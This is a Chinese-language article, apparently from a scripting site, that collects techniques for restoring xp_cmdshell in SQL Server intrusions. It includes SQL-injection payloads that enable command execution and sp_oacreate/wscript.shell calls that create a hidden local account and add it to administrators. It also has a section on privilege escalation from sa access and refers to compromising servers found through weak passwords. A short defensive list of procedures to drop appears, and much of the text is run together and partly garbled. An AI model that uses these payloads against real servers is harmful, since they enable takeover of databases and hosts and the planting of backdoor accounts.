SQL入侵复苏xp_cmdshell方法总结_MsSql_脚本之家

MSSQLSERVER2005默认把xpcmdshell给ON了
如果要启用的话就必须把他加到高级用户模式 可以直接在注入点那里直接注入
id=5;EXECsp_configure’showadvancedoptions’,1;RECONFIGURE;EXECsp_configure’xp_cmdshell’,1;RECONFIGURE;–
然后;dbccaddextendedproc(“xp_cmdshell”,”xplog70.dll”);– 或者
sp_addextendedprocxp_cmdshell,@dllname=’xplog70.dll’ 来恢复cmdshell。
分析器
EXECsp_configure’showadvancedoptions’,1;RECONFIGURE;EXECsp_configure’xp_cmdshell’,1;RECONFIGURE;–
然后;dbccaddextendedproc(“xp_cmdshell”,”xplog70.dll”) 老猪猪15:42:42
createtable[xl]null,[xl2][varchar]null)就行了

1433 SQL入侵恢复xp_cmdshell方法总结 sql server
2005下开启xp_cmdshell的办法 EXEC sp_configure ‘show advanced options’,
1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
SQL2005开启’OPENROWSET’支持的方法: exec sp_configure ‘show advanced
options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed
Queries’,1;RECONFIGURE; SQL2005开启’sp_oacreate’支持的方法: exec
sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure
‘Ole Automation Procedures’,1;RECONFIGURE; 突破SA的各种困难
常见情况恢复执行xp_cmdshell 1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后, 第一步执行:EXEC sp_addextendedproc
xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕 2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一
DLL。原因126 恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕 3 无法在库 xpweb70.dll 中找到函数
xp_cmdshell。原因: 127 恢复方法:查询分离器连接后, 第一步执行:exec
sp_dropextendedproc ‘xp_cmdshell’ 第二步执行:exec sp_addextendedproc
‘xp_cmdshell’,’xpweb70.dll’ 然后按F5键命令执行完毕 四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 查询分离器连接后,
2000servser系统: declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user dell
huxifeng007 /add’ declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup
administrators dell /add’ xp或2003server系统: declare @shell int exec
sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net user dell
huxifeng007 /add’ declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup
administrators dell /add’ ————– xp_cmdshell新的恢复办法 删除
drop procedure sp_addextendedproc drop procedure sp_oacreate exec
sp_dropextendedproc ‘xp_cmdshell’ 恢复 dbcc addextendedproc
(“sp_oacreate”,”odsole70.dll”) dbcc addextendedproc
(“xp_cmdshell”,”xplog70.dll”)
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
—————————– 删除扩展存储过过程xp_cmdshell的语句: exec
sp_dropextendedproc ‘xp_cmdshell’ 恢复cmdshell的sql语句 exec
sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname
=’xplog70.dll’ 判断存储扩展是否存在 select count from
master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc
‘xp_cmdshell’,’xplog70.dll’;select count from master.dbo.sysobjects
where xtype=’x’ and name=’xp_cmdshell’ 返回结果为1就ok
否则上传xplog7.0.dll exec master.dbo.addextendedproc
‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’ 堵上cmdshell的sql语句
sp_dropextendedproc “xp_cmdshell —————- 删除sql危险存储:
复制代码 代码如下: DROP PROCEDURE
sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec
master..sp_dropextendedproc xp_dirtree exec
master..sp_dropextendedproc xp_fileexist exec
master..sp_dropextendedproc xp_terminate_process exec
master..sp_dropextendedproc sp_oamethod exec
master..sp_dropextendedproc sp_oacreate exec
master..sp_dropextendedproc xp_regaddmultistring exec
master..sp_dropextendedproc xp_regdeletekey exec
master..sp_dropextendedproc xp_regdeletevalue exec
master..sp_dropextendedproc xp_regenumkeys exec
master..sp_dropextendedproc xp_regenumvalues exec
master..sp_dropextendedproc sp_add_job exec
master..sp_dropextendedproc sp_addtask exec
master..sp_dropextendedproc xp_regread exec
master..sp_dropextendedproc xp_regwrite exec
master..sp_dropextendedproc xp_readwebtask exec
master..sp_dropextendedproc xp_makewebtask exec
master..sp_dropextendedproc xp_regremovemultistring exec
master..sp_dropextendedproc sp_OACreate DROP PROCEDURE
sp_addextendedproc /*不狐 附上恢复扩展存储过程的办法
先恢复sp_addextendedproc,语句如下: SQL代码: 复制代码 代码如下: create procedure
sp_addextendedproc — 1996/08/30 20:13 @functname nvarcharname of
function to call */ @dllname varchar/* name of DLL containing function
*/ as set implicit_transactions off if @@trancount > 0 begin
raiserror(15002,-1,-1,’sp_addextendedproc’) return end dbcc
addextendedproc( @functname, @dllname) return — sp_addextendedproc GO
再恢复以上所有扩展存储过程 SQL代码: 复制代码 代码如下: use master exec
sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’ exec
sp_addextendedproc xp_dirtree,’xpstar.dll’ exec sp_addextendedproc
xp_enumgroups,’xplog70.dll’ exec sp_addextendedproc
xp_fixeddrives,’xpstar.dll’ exec sp_addextendedproc
xp_loginconfig,’xplog70.dll’ exec sp_addextendedproc
xp_enumerrorlogs,’xpstar.dll’ exec sp_addextendedproc
xp_getfiledetails,’xpstar.dll’ exec sp_addextendedproc
sp_OACreate,’odsole70.dll’ exec sp_addextendedproc
sp_OADestroy,’odsole70.dll’ exec sp_addextendedproc
sp_OAGetErrorInfo,’odsole70.dll’ exec sp_addextendedproc
sp_OAGetProperty,’odsole70.dll’ exec sp_addextendedproc
sp_OAMethod,’odsole70.dll’ exec sp_addextendedproc
sp_OASetProperty,’odsole70.dll’ exec sp_addextendedproc
sp_OAStop,’odsole70.dll’ exec sp_addextendedproc
xp_regaddmultistring,’xpstar.dll’ exec sp_addextendedproc
xp_regdeletekey,’xpstar.dll’ exec sp_addextendedproc
xp_regdeletevalue,’xpstar.dll’ exec sp_addextendedproc
xp_regenumvalues,’xpstar.dll’ exec sp_addextendedproc
xp_regread,’xpstar.dll’ exec sp_addextendedproc
xp_regremovemultistring,’xpstar.dll’ exec sp_addextendedproc
xp_regwrite,’xpstar.dll’ exec sp_addextendedproc
xp_availablemedia,’xpstar.dll’ SQL Server 阻止了对组件 ‘xp_cmdshell’
的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他 分析器执行的语句: EXEC sp_configure ‘show
advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,
1;RECONFIGURE

By simeon

SQLServer

2000提权有多个方法,通过SQL

Tools查询工具进行提权,通过SQL查询分析器进行提权,通过SQL注入点进行手工提权,通过Pangolin等SQL注入工具进行提权,在本文中主

要介绍通过查询方法来进行提权。进行提权的前提条件是当前使用的数据库账号是sysadmin权限,换句话说相当于sa权限。

4.1.1SQL版本号查询

在针对MSSQL进行提权时需要了解SQL的版本号,其版本可以通过查询获取,也可以通过本地查看MSSQL程序获取。

1.通过查询分析器查询获取

在查询分析器中执行以下任意一个语句即可:

selectserverproperty(‘productversion’),serverproperty(‘productlevel’)
,serverproperty(‘edition’);

select @@version;

2.各个版本对应信息

(1)SQLServer 2000 版本号查询结果

SQLServer 2000 版本号 SQL Server 2000 版本描述

2000.80.194.0RTM (Release to Manufacturing)

2000.80.384.0SQL Server 2000 SP1

2000.80.534.0SQL Server 2000 SP2

2000.80.760.0SQL Server 2000 SP3/SP3a

2000.8.00.2039SQL Server 2000 SP4

(2)SQLServer 2005 版本号查询结果信息

SQLServer 2005 版本号 SQL Server 2005 版本描述

2005.90.1399RTM (Release to Manufacturing)

2005.90.2047SQL Server 2005 SP1

2005.90.3042SQL Server 2005 SP2

2005.90.4035SQL Server 2005 SP3

2005.90.5000SQL Server 2005 SP4

(3)SQLServer 2008 版本号查询结果信息

SQLServer 2008版本号 SQL Server 2008 版本描述

10.0.1600.22RTM

10.00.2531.00SQL Server 2008 SP1

10.00.4000.00SQL Server 2008 SP2

10.50.1600.1SQL Server 2008 R2 (RTM)

4.1.2通过查询分析获取管理员权限

1.配置xp_cmdshell可用

usemaster

EXECsp_configure ‘show advanced options’, 1

GO

RECONFIGURE

GO

EXECsp_configure ‘xp_cmdshell’, 1

相关文章